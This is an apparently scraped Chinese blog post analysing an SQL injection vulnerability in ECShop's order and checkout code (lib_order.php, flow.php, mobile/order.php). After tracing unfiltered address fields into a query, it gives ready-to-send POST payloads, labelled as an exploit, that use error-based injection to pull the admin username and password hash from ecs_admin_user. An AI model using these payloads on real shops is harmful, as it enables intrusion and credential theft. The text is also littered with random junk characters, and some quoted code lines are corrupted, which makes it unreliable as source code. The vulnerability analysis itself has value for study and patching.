ecshop全版本注入分析

admin

前段时间大概2012年圣诞节左右，在t00ls上看见ecshop全版本注入，当时也下载了最新的程序分析了下,最近考试比较忙，今天刚考完，把我分析的记录下来。
. p$ e1 v! N3 S* E
( B  @8 }6 U- ?9 J% }% ~9 P1 \    漏洞关键文件：

2 }* ?3 Z& Z  A: l- |( {* E* Z    /includes/lib_order.php

    关键函数：

. |" L* d+ ]8 y" j  q# M% z
/ \: G% e, E6 C  p& L. @" P
01     function available_shipping_list($region_id_list)
( M( R& ]$ o% b
02 {

03     $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' .

04                 's.shipping_desc, s.insure, s.support_cod, a.configure ' .
9 `+ P* ?/ g- c) |: p# b, e
" M$ a7 \6 w* E: g& f9 ^05             'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' .

06                 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' .
8 g+ m8 ~. f- B9 k* M* Y+ T
* \: s+ C& Z8 q' n: g4 ]2 e0 x07                 $GLOBALS['ecs']->table('area_region') . ' AS r '.
' m; D( A; ?& z
2 E7 `2 h1 B5 S; ?) s% `08             'WHERE r.region_id ' . db_create_in($region_id_list) .

7 ~7 @2 R) M( e% Z0 v4 s; t09             ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order';

10   

11     return $GLOBALS['db']->getAll($sql);
( f, P3 M5 m+ G$ Q( ~# N2 C
0 r& n2 f* `$ U12 }
5 P! p3 L8 w& k4 A8 |& V
* q' T, F- w5 _& B; o5 w显然对传入的参数没有任何过滤就带入了查询语句。
" p8 _- D* K  F3 n7 m% S) H$ O
# ~) D9 T, G& y! M下面我们追踪这个函数在flow.php中：
6 ]. T" c( G9 |' V 第531行：   
2 d! x8 }4 K, i% ~! W( }7 z, s1 @
1 $shipping_list     = available_shipping_list($region);
: C, q  S2 U0 Q' f% G' k
3 j# \  B  l% ^8 u* x& L
+ s) X0 q$ K8 y) i' G* N0 y5 K4 `% R

, J  _  I  V. q, N7 o' p3 U+ e
再对传入变量进行追踪：

第530行：   
) {) v1 R  e/ C$ ~) ?  o/ e
1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']);


: _$ G6 [! t' m: k: U

8 N- [7 h. S7 D% L! }
第473行：        
, |; v/ T" q$ [
8 k7 d1 P0 w. D  T" ~. s* i3 e/ `; }1 $consignee = get_consignee($_SESSION['user_id']);

到了一个关键函数：
# R5 X& q5 g1 x, i
/includes/lib_order.php
; A  a+ z  r( T8 k$ U! o
" x/ l  S" p3 P9 @& C3 }! W. B: ?# M

: p: Q: Y/ B1 _
$ i; l( z8 |7 O+ ]2 P# Y2 y
8 M" Y  a2 b" t01 function get_consignee($user_id)
& ?5 s# x0 Y: H; u0 i' Y/ _
02 {
5 o  j7 @4 o: q# P% \+ b
/ \  _# b  @& Q$ r7 K03     if (isset($_SESSION['flow_consignee']))

- G+ p# K: ^- S& D& b: i04     {

05         /* 如果存在session，则直接返回session中的收货人信息 */

$ H/ b$ O) o: T9 q* a8 N/ y; p06   
. R, }' r* }/ Q* |3 K7 ?
; _9 d0 ~2 g/ F( ^1 v07         return $_SESSION['flow_consignee'];

08     }

. H6 b* z4 m# V- ]  w" X3 u09     else

10     {
4 ?) D$ s. Z9 F2 d2 ^( I
; L. G. t, o7 t# `6 q; p7 R5 \! H: w11         /* 如果不存在，则取得用户的默认收货人信息 */

12         $arr = array();

13   

14         if ($user_id > 0)
% Y1 Z/ Y3 w9 v9 K1 k0 i' x0 Z
15         {
. _- j2 \( H+ i$ u
8 Q% P! [, M6 l16             /* 取默认地址 */
3 F. b$ U1 W) x5 z& _
( E/ D& z! i4 ]5 @" P( g& f17             $sql = "SELECT ua.*".
  V5 e" ^4 ^& u& W: J
, E+ }) O) l1 o3 O! J4 l18                     " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '.

19                     " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id";

20   

& Q1 m  p; A$ S2 G( w/ u5 p21             $arr = $GLOBALS['db']->getRow($sql);
; b$ s& k) B0 b# ~
22         }

23   
# a+ A8 F) \8 M2 g) T* ~( J7 L
24         return $arr;
2 P6 l* T0 E0 W& t! }9 L
: S, b& @; z9 h& W2 O25     }

3 y/ ?$ o# Y  q0 L: I26 }
: s  }! D6 u3 z' f# N; q1 Z
$ N; {& o6 M0 n显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢？



1 R7 n% Z$ Z, O( A. E4 }7 |关键点:
+ r7 i2 h5 q9 B0 n/ i
第400行：    $_SESSION['flow_consignee'] = stripslashes_deep($consignee);
% b) m) f0 z) v+ s6 t* c. K
' H, [2 A% F+ q8 L! m1 f3 D这里对传入参数反转义存入$_SESSION中。
9 D% k* S% V5 \- `% b& \! k; W

" H' {# A5 V4 C0 V6 e
. w6 V  E4 g9 m2 ]& ]% g/ o" n* q然后看下：
8 C  {) u* I2 s! m
% M, X! f3 L  g& o% K+ |' a

9 Q- }# l/ O5 }- l. t6 R   
4 ^- L3 U* ?# {! E  ^* V
; y# F( F0 w' A3 |8 \3 U01 $consignee = array(

02         'address_id'    => empty($_POST['address_id']) ? 0  :intval($_POST['address_id']),
) m, }: ~' `( i: ]* X& W
03         'consignee'     => empty($_POST['consignee'])  ? '' : trim($_POST['consignee']),

1 i4 P5 C! s7 B7 w6 {; e( }1 ?04         'country'       => empty($_POST['country'])    ? '' _POST['country'],

05         'province'      => empty($_POST['province'])   ? '' _POST['province'],

06         'city'          => empty($_POST['city'])       ? '' _POST['city'],

07         'district'      => empty($_POST['district'])   ? '' _POST['district'],
# l, x% ?( m$ m! {$ ]# ]$ c6 d
$ D) E: ]9 q  c5 d4 ^5 L08         'email'         => empty($_POST['email'])      ? '' _POST['email'],
# C" \9 r$ d0 M
- P- N0 h- k! ]; C& Q6 a) L09         'address'       => empty($_POST['address'])    ? '' _POST['address'],
  Q9 c3 H. U- v' ]% W; z
10         'zipcode'       => empty($_POST['zipcode'])    ? '' : make_semiangle(trim($_POST['zipcode'])),
7 s% Q8 L6 Q& Q4 E( m* j7 ?( E3 ~/ d" P
2 z: i, e+ S! v! B11         'tel'           => empty($_POST['tel'])        ? '' : make_semiangle(trim($_POST['tel'])),

6 E6 K  |' R# Z, A12         'mobile'        => empty($_POST['mobile'])     ? '' : make_semiangle(trim($_POST['mobile'])),

$ z8 Z8 b) Z: n/ }1 X7 T13         'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'],
, q3 }0 q- K2 I2 C! B
; P; W& S0 r  J5 F5 [8 o14         'best_time'     => empty($_POST['best_time'])  ? '' _POST['best_time'],

4 {; }) f+ f7 q) N15     );
1 U. s. h( {& [3 Q1 W* F
好了注入就这样出现了。
) |& l5 z( S$ a/ S6 f
==================
$ e: ~1 w1 a0 d
* s1 x  P( B. F! C9 S  s注入测试：
- I4 W0 i1 K# M. i3 j
" ], I, i9 `* J9 f, M+ ]( B2 L环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)

/ q: U2 f. C" E$ u7 p. k! f测试程序：ECShop_V2.7.3_UTF8_release1106
4 ^2 Y! [) J) y5 O

5 Z7 @+ H3 W5 \! P5 q
4 ^! H6 M  ?9 z" j1.首先需要点击一个商品加入购物车

2.注册一个会员帐号
' Y) Z# S3 b' j5 p! w
# l: a: f( F$ |$ v: G& c0 h3.post提交数据
+ B0 V- R( U- f9 p$ ~) x% q( l


' q) r- }1 W3 x8 k5 o3 a  u  n1 http://127.0.0.1/ecshop/flow.php

! b8 I0 {9 ~* ?2   
* }" P% \4 q! {: J3 N2 `# U
) E2 ~2 ^0 r5 X: Q) h% ~' J3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id=
# o* v% k$ |; i) f3 V6 Z3 B举一反三，我们根据这个漏洞我们可以继续深入挖掘：

我们搜寻关键函数function available_shipping_list()

; m1 n1 L' m$ F8 S5 r( v在文件/moblie/order.php中出现有，次文件为手机浏览文件功能基本和flow.php相同，代码流程基本相同

: F) v4 {" O$ r  I  X+ L! A5 P* X利用exp:

$ m2 G% @! |! b1 P, y% u1.点击一个商品，点击购买商标

& L5 @5 |+ k& B( g  p1 H& S/ n; ^- N2.登录会员帐号

5 d! v$ b* s4 C' G, Q3 S* S# V# e3.post提交：
0 a5 z) U( p" O0 c0 W2 f6 y
http://127.0.0.1/ecshop/mobile/order.php


% z: }8 p! y8 `& n4 o) K# S* f
# \: E* Y& L+ N( n, c/ Fcountry=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=
& q/ J! y0 Z2 H4 h5 K$ _